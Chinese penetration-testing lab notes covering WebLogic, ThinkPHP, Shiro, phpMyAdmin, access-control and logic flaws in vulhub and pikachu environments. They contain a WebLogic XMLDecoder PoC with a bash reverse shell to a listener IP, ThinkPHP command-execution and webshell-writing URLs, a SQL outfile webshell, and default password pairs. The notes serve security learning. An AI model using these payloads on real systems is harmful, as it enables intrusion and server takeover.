[TOC]
weblogic 漏洞
WebLogic 介绍
WebLogic 是 Oracle 公司开发的⼀款企业级 Java EE (现 Jakarta EE) 应⽤服务器,是市场上最成熟、功能最全⾯的应⽤服务器之⼀。
核心特性
- Java EE 兼容性:完全⽀持 Java EE/Jakarta EE 规范
- 集群与⾼可⽤性:⽀持负载均衡和故障转移
- 管理控制台:提供基于 Web 的集中管理界⾯
- 安全性:集成企业级安全功能
- 性能优化:包括连接池、线程池等资源管理
- 热部署:⽀持应⽤不中断服务的情况下更新
主要组件
- WebLogic Server:核⼼应⽤服务器
- Node Manager:远程服务器管理⼯具
- Administration Console:基于 Web 的管理界⾯
- WLST (WebLogic Scripting Tool):命令⾏和脚本管理⼯具
漏洞利用工具
java -jar WeblogicTool_1.3.jar
weblogic 弱口令漏洞cd
漏洞描述
http://your-ip:7001/console 即可进⼊后台,由于管理员的疏忽,有可能会设置⼀些弱⼝令,攻击者可以通过常⻅的⼝令猜解进⼊后台,再通过后台getshell。
影响范围
全版本
漏洞复现
- 启动vulhub-master\weblogic\weak_password环境,访问后台地址:http://your-ip:7001/console
-
常⻅的弱⼝令组合
system:password weblogic:weblogic admin:secruity joe:password mary:password system:sercurity wlcsystem: wlcsystem weblogic:Oracle@123 -
本环境输⼊weblogic:Oracle@123即可登录后台
- 点击->部署->安装
- 点击上传文件
上传成功
用蚁剑链接
CVE-2014-4210 SSRF漏洞
漏洞描述
SSRF(Server-Side Request Forgery),服务端请求伪造,是⼀种由攻击者构造形成由服务端发起请求的⼀个漏洞,⼀般情况下,SSRF攻击的⽬标是从外部⽹络⽆法访问的内部系统。
影响范围
10.0.2,10.3.6
漏洞复现
- 启动靶场
2. 访问漏洞存在地址
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
3. 点击Search之后抓包
-
对operator参数进⾏修改,观察现象探测结果
端口存在:
端口不存在:
CVE-2017-10271 XMLDecoder反序列化漏洞
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使⽤了XMLDecoder来解析⽤户传⼊的XML数据,在解析的过程中出现反序列化漏洞,导致可执⾏任意命令。攻击者发送精⼼构造的xml数据甚⾄能通过反弹shell拿到权限。
影响范围影响范围
10.3.6.0,12.1.3.0.0,12.2.1.1.0
漏洞复现
- 访问漏洞地址,如果存在如下则可能存在漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
-
对该漏洞⻚⾯进⾏抓包,修改请求⽅式为POST和请求字段Content-Type:text/xml,然后后添加如下poc
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelop e/"><soapenv:Header> <work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"> <javaversion="1.4.0" class="java.beans.XMLDecoder"> <voidclass="java.lang.ProcessBuilder"> <arrayclass="java.lang.String" length="3"> <voidindex="0"> <string>/bin/bash</string> </void> <voidindex="1"> <string>-c</string> </void> <voidindex="2"> <string>bash-i >& /dev/tcp/192.168.3.130/44440>&1</string> </void> </array> <voidmethod="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
thinkphp 5.x命令执行漏洞
ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应⽤系统运⾏环境要求视开发所涉及的模块。
body特征
body⾥有"⼗年磨⼀剑" 或者"ThinkPHP"
漏洞利用
ThinkPHP 2.x/3.0 GetShell
漏洞介绍
ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
环境搭建
vulhub-master\thinkphp\2-rce
docker-compose up -d
验证漏洞
http://192.168.153.1:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.153.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}
http://192.168.153.1:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
ThinkPHP 5.x GetShell
⾸先明确ThinkPHP框架系列版本。根据ThinkPHP版本,如是0.x版本,即可使⽤ThinkPHP 5.x远程代码 执⾏漏洞,⽆需登录,即可执⾏任意命令,获取服务器最⾼权限。
环境搭建
vulhub-master\thinkphp\5-rce
docker-compose up -d
验证漏洞
任意代码执⾏
http://192.168.184.132:8080/index.php?s=index/think\app/invokefunction&functi
on=call_user_func_array&vars[0]=system&vars[1][]=whoami
写⼊webshell
http://192.168.184.132:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=<?php eval($_POST['zcc']);?>
Thinkphp5 敏感信息泄露漏洞
thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
环境搭建
vulhub-master\thinkphp\in-sqlinjection
docker-compose up -d
验证漏洞
访问下⾯链接,信息成功被爆出,这是⼀个⽐较鸡肋的SQL注⼊漏洞。但通过DEBUG⻚⾯,我们找 到了数据库的账号、密码:
http://192.168.153.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
工具利用
java -jar ThinkphpGUI-1.3-SNAPSHOT.jar
Shiro反序列化漏洞
反序列化介绍
序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
mage class {
string students;
int age
}
mage_C1 = new mage();
在反序列化时,存在⽤户可控的参数,并且在读取反序列化内容时存在危险的调⽤函数,造成反序列化漏洞。
通过浏览器进⾏访问的时候,我们看到的⽂本、图⽚、⾳频、视频等都是通过⼆进制序列进⾏传输的,那么如果我们需要将代码对象进⾏传输的时候,是不是也应该先将代码对象进⾏序列化?答案是肯定的,我们需要先将代码对象进⾏序列化(否则会造成代码格式被破坏、内容丢失),然后通过⽹络进⾏传输,当到达⽬的地之后,再进⾏反序列化还原成代码对象,最后完成通信
⽽反序列化漏洞就出现在把数据还原成代码对象的过程中,在这个过程中,应⽤需要根据数据的内容,去调⽤特定的⽅法。⽽⿊客正是利⽤这个逻辑,在数据中嵌⼊⾃定义的代码(⽐如执⾏某个系统命令),应⽤对数据进⾏反序列化的时候,会执⾏这段代码,从⽽使得⿊客能够控制整个应⽤及服务器。
漏洞原因:
主要是程序没有对⽤户输⼊的内容进⾏检测和过滤, 导致反序列化过程可以被恶意控制, 造成代码执⾏、 getshell等⼀系列攻击。
涉及语言:
反序列化漏洞并不是存在于某⼀特定语⾔中的现象,⽽是多种编程语⾔中普遍存在的问题(⽐如:PHP、 Java、Python等,只要该语⾔涉及到序列化和反序列化就有可能存在),且基本原理是相通的。其中,Java 因为使⽤范围⼴泛,本身体积也⽐较庞⼤,所以被曝出的反序列化漏洞最多,如:JBoss反序列化漏洞、Spring框架反序列化漏洞、Fastjson反序列化漏洞、Apache Shiro反序列化漏洞等。
检测方法
WeblogicTool_1.3.jar
JenkinsExploit-GUI
漏洞复现
Shiro反序列化漏洞(CVE-2016-4437、Shiro-550)
漏洞概述
Apache Shiro是⼀款开源Java安全框架,提供身份验证、授权、密码和会话管理等功能。在Apache Shiro的框架中,执⾏身份验证时提供了⼀个记住密码的功能(RememberMe),如果⽤户登录时勾选了这个选项,登录后请求数据包中的Cookie字段将会多出⼀段数据,这⼀段数据包含了⽤户的身份信息,且是经过加密的,加密过程:
⽤户信息--> 序列化--> AES加密(这⼀步需要⽤密钥key)--> Base64编码--> Remember Me Cookie值
识别身份的时候,服务端需要对Cookie⾥的RememberMe字段解密。根据加密的顺序,反推解密过程:
RememberMe Cookie值--> Base64解码--> AES解密--> 反序列化(未作过滤处理)--> ⽤户信息
RememberMe字段进⾏解码、解密,反序列化等,这⼀过程未进⾏过滤,最终造成该漏洞,实现远程命令执⾏。
影响范围
Apache Shiro ≤ 1.2.4
环境搭建
vulhub-master\shiro\CVE-2016-4437
在vulhub的CVE-2016-4437漏洞复现环境中,默认的登录账号密码为:
用户名: admin 密码: vulhub
漏洞演示
- ⾸先判断⽬标⽹站是否使⽤了Shiro框架进⾏身份验证、授权、密码和会话管理,具体⽅法是:勾选记住密码选项后,点击登录、抓包,观察请求包中是否有RememberMe字段:
1.未登录的情况下,请求包的Cookie中没有RememberMe字段,返回包set-Cookie⾥也没有delet
eMe字段
2.登录失败的话,不管有没有勾选“Remember me",返回包都会有RememberMe=deleteMe字段
3.不勾选“Remember me",登录成功的话,返回包set-Cookie⾥有RememberMe=deleteMe字
段,但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选“Remember me",登录成功的话,返回包set-Cookie⾥有RememberMe=deleteMe字段,
还会有RememberMe的加密字段,之后的所有请求中Cookie都会有RememberMe字段
-
接下来开始进⾏漏洞检测,Shiro反序列化漏洞的检测会⾯临⼀些问题: (1)漏洞⽆法回显 (2)系统环境复杂 (3)AES的key可能被修改
对于前两个问题,可以通过DNSLog平台(www.dnslog.cn)盲打来进⾏漏洞的检测;对于第三个问题,可以通过信息收集、⽂件读取、暴⼒破解等⽅法来获取key。
针对Shiro反序列化漏洞,主流⽅法是使⽤专业的漏洞利⽤⼯具来进⾏检测。
Hyacinth
- 输入URL,点击爆破密钥
- 点击爆破利用链
- 手动应用利用链,执行命令或注入内存马
phpmyadmin 漏洞
phpMyAdmin简介
phpMyAdmin 是⼀个⽤php编写的免费软件⼯具,旨在通过Web友好界⾯处理MySQL的管理。phpMyAdmin ⽀持对 MySQL 和 MariaDB 数据库的⼴泛操作。经常使⽤的操作(有如管理数据库、表、列、关系、索引、⽤户、权限等)可以通过⽤户界⾯执⾏,当然您也可以直接执⾏任何SQL 语句。
phpmyadmin安装
查看phpmyadmin版本
直接在phpmyadmin的url后加下⾯⽂件路径爆出:
/readme
/changelog
/Change
/changelog.php
/Documetation.html
/Documetation.txt
/translators.html
/doc/html/index.html
phpmyadmin弱口令漏洞getshell
利用工具
getshell实用方法
-
通过sql写⼊getshell
secure-file-priv参数是⽤来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定 ⽬录的。 ure_file_priv的值为null ,表示限制mysqld 不允许导⼊|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导⼊|导出做限制
# == null 则没有条件,换成⽇志写⼊ (secure_file_priv值可在mysql中的my.ini中修 改) show VARIABLES like '%secure_file_priv%' show global variables like "secure%" 也可以查询 # 写⼊shell语句 select '<?php eval($_POST["pwd"]); ?>' into outfile 'D:/phpStudy_pro/WW W/shell.php'; # 其他常⽤语句 show variables like '%char%' === 查看系统变量 select @@datadir ==== 系统路径 set PASSWORD=PASSWORD("****") ========改登⼊密码(危害⼤) -
利⽤⽇志getshell
因为默认账号密码不正确问题,暂时无法复现
越权漏洞
漏洞原理
越权访问(Broken Access Control)是Web应⽤程序中⼀种常⻅的漏洞,由于其存在范围⼴、危害⼤,常常被OWASP列为Web应⽤⼗⼤安全隐患的第⼀名。
该漏洞是指应⽤在检查授权时存在纰漏,使得攻击者在登录低权限账户后,利⽤⼀些⽅式绕过权限检查,访问或者操作其他⽤户信息或者获取更⾼权限。
越权漏洞的成因主要是因为开发⼈员在对数据进⾏增、删、改、查时,过分相信来⾃客户端的请求数据⽽遗漏了权限的判定。
水平越权:
指相同权限下不同的⽤户可以互相访问。
⽔平越权测试⽅法:要通过看看能否通过A⽤户操作影响到B⽤户。
垂直越权:
指使⽤权限低的⽤户可以访问到权限较⾼的⽤户。
垂直越权测试⽅法:看看低权限⽤户是否能越权使⽤⾼权限⽤户的功能,⽐如普通⽤户可以使⽤管理员的功能。
水平越权还原
⾸先lucy使⽤⾃⼰的账户 lucy/123456 登录系统,查看⾃⼰的个⼈信息,信息如下:
此时,通过更改username=kobe,即可查看到kobe的个⼈信息,造成⽔平越权
垂直越权还原
垂直越权⼜称纵向越权,指使⽤权限低的⽤户可以访问到权限较⾼的⽤户。⽐如A⽤户权限⽐B⽤户低,如果A可以访问理论上只有B才能访问的资源,或者执⾏理论上B才能执⾏的操作,那就实现了垂直越权。
这⾥有两个⽤户 admin/123456:admin是超级管理员,具备添加/删除⽤户权限 pikachu/000000:pikachu⽤户仅仅具备查看权限,不具备添加/删除⽤户权限
添加⽤户的接⼝如下:
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
更改cookie值为pikachu用户后可以直接调用添加用户功能,造成垂直越权。
逻辑漏洞
漏洞原理
由于程序逻辑输⼊管控不严,导致程序不能够正常处理或处理错误,进⽽产⽣的漏洞。⼀般出现在登 录、注册、密码找回、信息查看、交易⽀付⾦额等位置,由于逻辑漏洞产⽣的流量多数为合法流量,⼀ 般的防护⼿段或设备⽆法阻⽌,也导致了逻辑漏洞成为企业防护中的难题。
漏洞挖掘
注册处
注册功能可能出现任意⽤户注册、短信轰炸等问题。
前端验证:判断是否有任意⽤户注册漏洞
⼿机验证码:短信轰炸、验证码是否可以暴⼒破解(0000-9999),验证码与当前⼿机号有没有检验匹配
账号密码注册:是否可以批量注册
登录处
登录处可能出现任意⽤户登录、短信轰炸等问题。
前端验证:判断是否有任意⽤户登录,是否有验证码回显,是否可以修改返回包造成任意⽤户登录等问题
⼿机验证码:验证码是否可以暴⼒破解(0000-9999),验证码与当前⼿机号有没有检验匹配账号密码登录:没有验证码、验证码失效、验证码可以重复利⽤或者验证码绕过等情况,导致进⾏暴⼒破解
密码找回处
-
前端验证绕过
-
验证码是否可以多次使⽤
-
验证码是否直接返回在数据包中
-
验证码未绑定⽤户
-
修改接收的⼿机或邮箱进⾏密码重置
-
验证步骤绕过(举例:先获取⼿机验证码,再输⼊要修改的邮箱或密码)
-
未校验⽤户字段的值(举例:修改密码处user_id可替换)
支付与越权
- 提交订单或者结算时对⾦额等参数进⾏修改(单价、总价)
- 提交订单时修改商品参数(低价购买⾼价商品)
- 修改⽀付接⼝等等(将⽀付链接发给别⼈,这也解释了为什么⽀付宝在⽀付的时候还要再输⼀次密码)
暴力破解
暴⼒破解是⼀种针对密码的破译⽅法,将密码进⾏逐个推算直到找出正确的密码为⽌。
暴⼒破解的产⽣是由于服务器或者系统没有对接收的参数进⾏限制,导致攻击者可以通过暴⼒⼿段破解所需要的信息(如账号,密码,验证码等)。暴⼒破解的原理就是穷举法,其基本思想是根据部分已知条件确定⼤致范围,并在此范围内对所有可能的情况逐⼀验证,直到全部情况验证完毕。
字典推荐
B/S架构暴力破解
B/S架构即浏览器/服务器结构,参考pikachu靶场中的基于表单的暴⼒破解场景演示
抓包发送到Intuder
添加playload位置和配置,可以在资源池调整攻击速度和次数
爆破成功